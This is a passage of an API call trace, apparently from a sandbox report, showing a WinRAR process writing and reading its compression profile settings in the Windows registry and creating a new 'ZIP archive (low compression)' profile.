lpData=0xe414fb268*=0x0) returned 0x0 [0058.285] GetLastError () returned 0x0 [0058.285] SetLastError (dwErrCode=0x0) [0058.285] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.285] RegSetValueExW (in: hKey=0x218, lpValueName="ZipLegacyEncrypt", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.285] GetLastError () returned 0x0 [0058.285] SetLastError (dwErrCode=0x0) [0058.285] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.286] RegSetValueExW (in: hKey=0x218, lpValueName="OpenShared", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.286] GetLastError () returned 0x0 [0058.286] SetLastError (dwErrCode=0x0) [0058.286] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.286] RegSetValueExW (in: hKey=0x218, lpValueName="ProcessOwners", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.286] GetLastError () returned 0x0 [0058.286] SetLastError (dwErrCode=0x0) [0058.286] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.286] RegSetValueExW (in: hKey=0x218, lpValueName="SaveStreams", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.286] GetLastError () returned 0x0 [0058.286] SetLastError (dwErrCode=0x0) [0058.286] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.286] RegSetValueExW (in: hKey=0x218, lpValueName="SaveSymLinks", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.286] GetLastError () returned 0x0 [0058.286] SetLastError (dwErrCode=0x0) [0058.286] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.286] RegSetValueExW (in: hKey=0x218, lpValueName="SaveHardLinks", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.286] GetLastError () returned 0x0 [0058.286] SetLastError (dwErrCode=0x0) [0058.286] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.286] RegSetValueExW (in: hKey=0x218, lpValueName="GenerateArcName", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.286] GetLastError () returned 0x0 [0058.287] SetLastError (dwErrCode=0x0) [0058.287] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.287] RegSetValueExW (in: hKey=0x218, lpValueName="VersionControl", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.287] GetLastError () returned 0x0 [0058.287] SetLastError (dwErrCode=0x0) [0058.287] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.287] RegSetValueExW (in: hKey=0x218, lpValueName="BLAKE2", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.287] GetLastError () returned 0x0 [0058.287] SetLastError (dwErrCode=0x0) [0058.287] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.287] RegSetValueExW (in: hKey=0x218, lpValueName="FileCopies", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.287] GetLastError () returned 0x0 [0058.287] SetLastError (dwErrCode=0x0) [0058.287] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.287] RegSetValueExW (in: hKey=0x218, lpValueName="QuickOpen", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x1, cbData=0x4 | out: lpData=0xe414fb268*=0x1) returned 0x0 [0058.287] GetLastError () returned 0x0 [0058.287] SetLastError (dwErrCode=0x0) [0058.287] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.287] RegSetValueExW (in: hKey=0x218, lpValueName="GenerateMask", Reserved=0x0, dwType=0x1, lpData="yyyymmddhhmmss", cbData=0x1e | out: lpData="yyyymmddhhmmss") returned 0x0 [0058.287] GetLastError () returned 0x0 [0058.287] SetLastError (dwErrCode=0x0) [0058.287] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.287] RegSetValueExW (in: hKey=0x218, lpValueName="FileTimeMode", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.288] GetLastError () returned 0x0 [0058.288] SetLastError (dwErrCode=0x0) [0058.288] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.288] RegSetValueExW (in: hKey=0x218, lpValueName="FileDays", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.288] GetLastError () returned 0x0 [0058.288] SetLastError (dwErrCode=0x0) [0058.288] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.288] RegSetValueExW (in: hKey=0x218, lpValueName="FileHours", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.288] GetLastError () returned 0x0 [0058.288] SetLastError (dwErrCode=0x0) [0058.288] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.288] RegSetValueExW (in: hKey=0x218, lpValueName="FileMinutes", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.288] GetLastError () returned 0x0 [0058.288] SetLastError (dwErrCode=0x0) [0058.288] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.288] RegSetValueExW (in: hKey=0x218, lpValueName="FileTimeLimit", Reserved=0x0, dwType=0xb, lpData=0xe414fb268*=0x0, cbData=0x8 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.288] GetLastError () returned 0x0 [0058.288] SetLastError (dwErrCode=0x0) [0058.288] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.288] RegSetValueExW (in: hKey=0x218, lpValueName="ArcTimeOriginal", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.288] GetLastError () returned 0x0 [0058.288] SetLastError (dwErrCode=0x0) [0058.289] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.289] RegSetValueExW (in: hKey=0x218, lpValueName="ArcTimeLatest", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.289] GetLastError () returned 0x0 [0058.289] SetLastError (dwErrCode=0x0) [0058.289] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.289] RegSetValueExW (in: hKey=0x218, lpValueName="mtime", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x4, cbData=0x4 | out: lpData=0xe414fb268*=0x4) returned 0x0 [0058.289] GetLastError () returned 0x0 [0058.289] SetLastError (dwErrCode=0x0) [0058.289] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.289] RegSetValueExW (in: hKey=0x218, lpValueName="ctime", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.289] GetLastError () returned 0x0 [0058.289] SetLastError (dwErrCode=0x0) [0058.289] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.289] RegSetValueExW (in: hKey=0x218, lpValueName="atime", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.289] GetLastError () returned 0x0 [0058.289] SetLastError (dwErrCode=0x0) [0058.289] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.289] RegSetValueExW (in: hKey=0x218, lpValueName="PathsAbs", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.289] GetLastError () returned 0x0 [0058.289] SetLastError (dwErrCode=0x0) [0058.289] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.289] RegSetValueExW (in: hKey=0x218, lpValueName="PathsNone", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.290] GetLastError () returned 0x0 [0058.290] SetLastError (dwErrCode=0x0) [0058.290] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.290] RegSetValueExW (in: hKey=0x218, lpValueName="PathsAbsDrive", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.290] GetLastError () returned 0x0 [0058.290] SetLastError (dwErrCode=0x0) [0058.290] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.290] RegSetValueExW (in: hKey=0x218, lpValueName="SeparateArc", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.290] GetLastError () returned 0x0 [0058.290] SetLastError (dwErrCode=0x0) [0058.290] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.290] RegSetValueExW (in: hKey=0x218, lpValueName="SeparateArcDoubleExt", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.290] GetLastError () returned 0x0 [0058.290] SetLastError (dwErrCode=0x0) [0058.290] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.290] RegSetValueExW (in: hKey=0x218, lpValueName="SeparateArcSubfolders", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.290] GetLastError () returned 0x0 [0058.290] SetLastError (dwErrCode=0x0) [0058.290] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x65007200020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.290] RegSetValueExW (in: hKey=0x218, lpValueName="EmailArcTo", Reserved=0x0, dwType=0x1, lpData="", cbData=0x2 | out: lpData="") returned 0x0 [0058.290] GetLastError () returned 0x0 [0058.290] SetLastError (dwErrCode=0x0) [0058.290] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x20006, lpSecurityAttributes=0x0, phkResult=0xe414fad88, lpdwDisposition=0xe414fad80 | out: phkResult=0xe414fad88*=0x218, lpdwDisposition=0xe414fad80*=0x2) returned 0x0 [0058.291] RegSetValueExW (in: hKey=0x218, lpValueName="PackDetails", Reserved=0x0, dwType=0x3, lpData=0xe414fb2a0*, cbData=0xc0 | out: lpData=0xe414fb2a0*) returned 0x0 [0058.291] GetCurrentProcess () returned 0xffffffffffffffff [0058.291] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414fc8a0, lpSystemAffinityMask=0xe414fc8a8 | out: lpProcessAffinityMask=0xe414fc8a0, lpSystemAffinityMask=0xe414fc8a8) returned 1 [0058.291] GetCurrentProcess () returned 0xffffffffffffffff [0058.291] GetProcessAffinityMask (in: hProcess=0xffffffffffffffff, lpProcessAffinityMask=0xe414fc900, lpSystemAffinityMask=0xe414fc908 | out: lpProcessAffinityMask=0xe414fc900, lpSystemAffinityMask=0xe414fc908) returned 1 [0058.291] GetLastError () returned 0x0 [0058.291] SetLastError (dwErrCode=0x0) [0058.291] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fc4b0 | out: phkResult=0xe414fc4b0*=0x218) returned 0x0 [0058.291] RegQueryValueExW (in: hKey=0x218, lpValueName="SMP", lpReserved=0x0, lpType=0xe414fc914, lpData=0xe414fc910, lpcbData=0xe414fc948*=0x4 | out: lpType=0xe414fc914*=0x0, lpData=0xe414fc910*=0x1, lpcbData=0xe414fc948*=0x4) returned 0x2 [0058.291] RegCloseKey (hKey=0x218) returned 0x0 [0058.291] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x3fa, lpBuffer=0x7ff6f7650630, cchBufferMax=512 | out: lpBuffer="ZIP archive (low compression)") returned 0x1d [0058.291] GetLastError () returned 0x0 [0058.291] SetLastError (dwErrCode=0x0) [0058.291] GetLastError () returned 0x0 [0058.291] SetLastError (dwErrCode=0x0) [0058.291] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fa1c0 | out: phkResult=0xe414fa1c0*=0x218) returned 0x0 [0058.291] RegCloseKey (hKey=0x218) returned 0x0 [0058.291] GetLastError () returned 0x0 [0058.291] SetLastError (dwErrCode=0x0) [0058.291] GetLastError () returned 0x0 [0058.291] SetLastError (dwErrCode=0x0) [0058.291] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fa1c0 | out: phkResult=0xe414fa1c0*=0x218) returned 0x0 [0058.291] RegCloseKey (hKey=0x218) returned 0x0 [0058.291] GetLastError () returned 0x0 [0058.291] SetLastError (dwErrCode=0x0) [0058.291] GetLastError () returned 0x0 [0058.291] SetLastError (dwErrCode=0x0) [0058.292] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fa1c0 | out: phkResult=0xe414fa1c0*=0x218) returned 0x0 [0058.292] RegCloseKey (hKey=0x218) returned 0x0 [0058.292] GetLastError () returned 0x0 [0058.292] SetLastError (dwErrCode=0x0) [0058.292] GetLastError () returned 0x0 [0058.292] SetLastError (dwErrCode=0x0) [0058.292] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fa1c0 | out: phkResult=0xe414fa1c0*=0x218) returned 0x0 [0058.292] RegCloseKey (hKey=0x218) returned 0x0 [0058.292] GetLastError () returned 0x0 [0058.292] SetLastError (dwErrCode=0x0) [0058.292] GetLastError () returned 0x0 [0058.292] SetLastError (dwErrCode=0x0) [0058.292] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", ulOptions=0x0, samDesired=0x1, phkResult=0xe414fa1c0 | out: phkResult=0xe414fa1c0*=0x0) returned 0x2 [0058.292] GetLastError () returned 0x0 [0058.292] SetLastError (dwErrCode=0x0) [0058.292] GetLastError () returned 0x0 [0058.292] SetLastError (dwErrCode=0x0) [0058.292] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\0", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fa540 | out: phkResult=0xe414fa540*=0x218) returned 0x0 [0058.292] RegQueryValueExW (in: hKey=0x218, lpValueName="Name", lpReserved=0x0, lpType=0xe414fa9a4, lpData=0xe414fb510, lpcbData=0xe414fa9a0*=0x400 | out: lpType=0xe414fa9a4*=0x1, lpData="Default Profile", lpcbData=0xe414fa9a0*=0x20) returned 0x0 [0058.292] RegCloseKey (hKey=0x218) returned 0x0 [0058.292] GetLastError () returned 0x0 [0058.292] SetLastError (dwErrCode=0x0) [0058.292] GetLastError () returned 0x0 [0058.292] SetLastError (dwErrCode=0x0) [0058.292] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\1", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fa540 | out: phkResult=0xe414fa540*=0x218) returned 0x0 [0058.292] RegQueryValueExW (in: hKey=0x218, lpValueName="Name", lpReserved=0x0, lpType=0xe414fa9a4, lpData=0xe414fb510, lpcbData=0xe414fa9a0*=0x400 | out: lpType=0xe414fa9a4*=0x1, lpData="Create e-mail attachment", lpcbData=0xe414fa9a0*=0x32) returned 0x0 [0058.292] RegCloseKey (hKey=0x218) returned 0x0 [0058.292] GetLastError () returned 0x0 [0058.292] SetLastError (dwErrCode=0x0) [0058.292] GetLastError () returned 0x0 [0058.292] SetLastError (dwErrCode=0x0) [0058.292] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\2", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fa540 | out: phkResult=0xe414fa540*=0x218) returned 0x0 [0058.292] RegQueryValueExW (in: hKey=0x218, lpValueName="Name", lpReserved=0x0, lpType=0xe414fa9a4, lpData=0xe414fb510, lpcbData=0xe414fa9a0*=0x400 | out: lpType=0xe414fa9a4*=0x1, lpData="Backup selected files", lpcbData=0xe414fa9a0*=0x2c) returned 0x0 [0058.292] RegCloseKey (hKey=0x218) returned 0x0 [0058.293] GetLastError () returned 0x0 [0058.293] SetLastError (dwErrCode=0x0) [0058.293] GetLastError () returned 0x0 [0058.293] SetLastError (dwErrCode=0x0) [0058.293] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\3", ulOptions=0x0, samDesired=0x9, phkResult=0xe414fa540 | out: phkResult=0xe414fa540*=0x218) returned 0x0 [0058.293] RegQueryValueExW (in: hKey=0x218, lpValueName="Name", lpReserved=0x0, lpType=0xe414fa9a4, lpData=0xe414fb510, lpcbData=0xe414fa9a0*=0x400 | out: lpType=0xe414fa9a4*=0x1, lpData="Create 10 MB volumes", lpcbData=0xe414fa9a0*=0x2a) returned 0x0 [0058.293] RegCloseKey (hKey=0x218) returned 0x0 [0058.293] GetLastError () returned 0x0 [0058.293] SetLastError (dwErrCode=0x0) [0058.293] GetLastError () returned 0x0 [0058.293] SetLastError (dwErrCode=0x0) [0058.293] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x1) returned 0x0 [0058.293] RegSetValueExW (in: hKey=0x218, lpValueName="Name", Reserved=0x0, dwType=0x1, lpData="ZIP archive (low compression)", cbData=0x3c | out: lpData="ZIP archive (low compression)") returned 0x0 [0058.293] RegCloseKey (hKey=0x218) returned 0x0 [0058.293] GetLastError () returned 0x0 [0058.293] SetLastError (dwErrCode=0x0) [0058.293] RegCreateKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0xe00020006, lpSecurityAttributes=0x0, phkResult=0xe414fadc8, lpdwDisposition=0xe414fadc0 | out: phkResult=0xe414fadc8*=0x218, lpdwDisposition=0xe414fadc0*=0x2) returned 0x0 [0058.293] RegSetValueExW (in: hKey=0x218, lpValueName="Default", Reserved=0x0, dwType=0x4, lpData=0xe414fb268*=0x0, cbData=0x4 | out: lpData=0xe414fb268*=0x0) returned 0x0 [0058.293] RegCloseKey (hKey=0x218) returned 0x0 [0058.293] GetLastError () returned 0x0 [0058.293] SetLastError (dwErrCode=0x0) [0058.293] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Profiles\\4", ulOptions=0x0, samDesired=0x20006, phkResult=0xe414fae10 | out: phkResult=0xe414fae10*=0x218) returned 0x0 [0058.293] RegDeleteValueW (hKey=0x218, lpValueName="ArcName") returned 0x2 [0058.293] RegCloseKey (hKey=0x218) returned 0x0 [0058.293] GetLastError () returned 0x0 [0058.293] SetLastError (dwErrCode=0x0) [0058.293] RegOpenKeyExW (in: hKey=0xffffffff80000001, 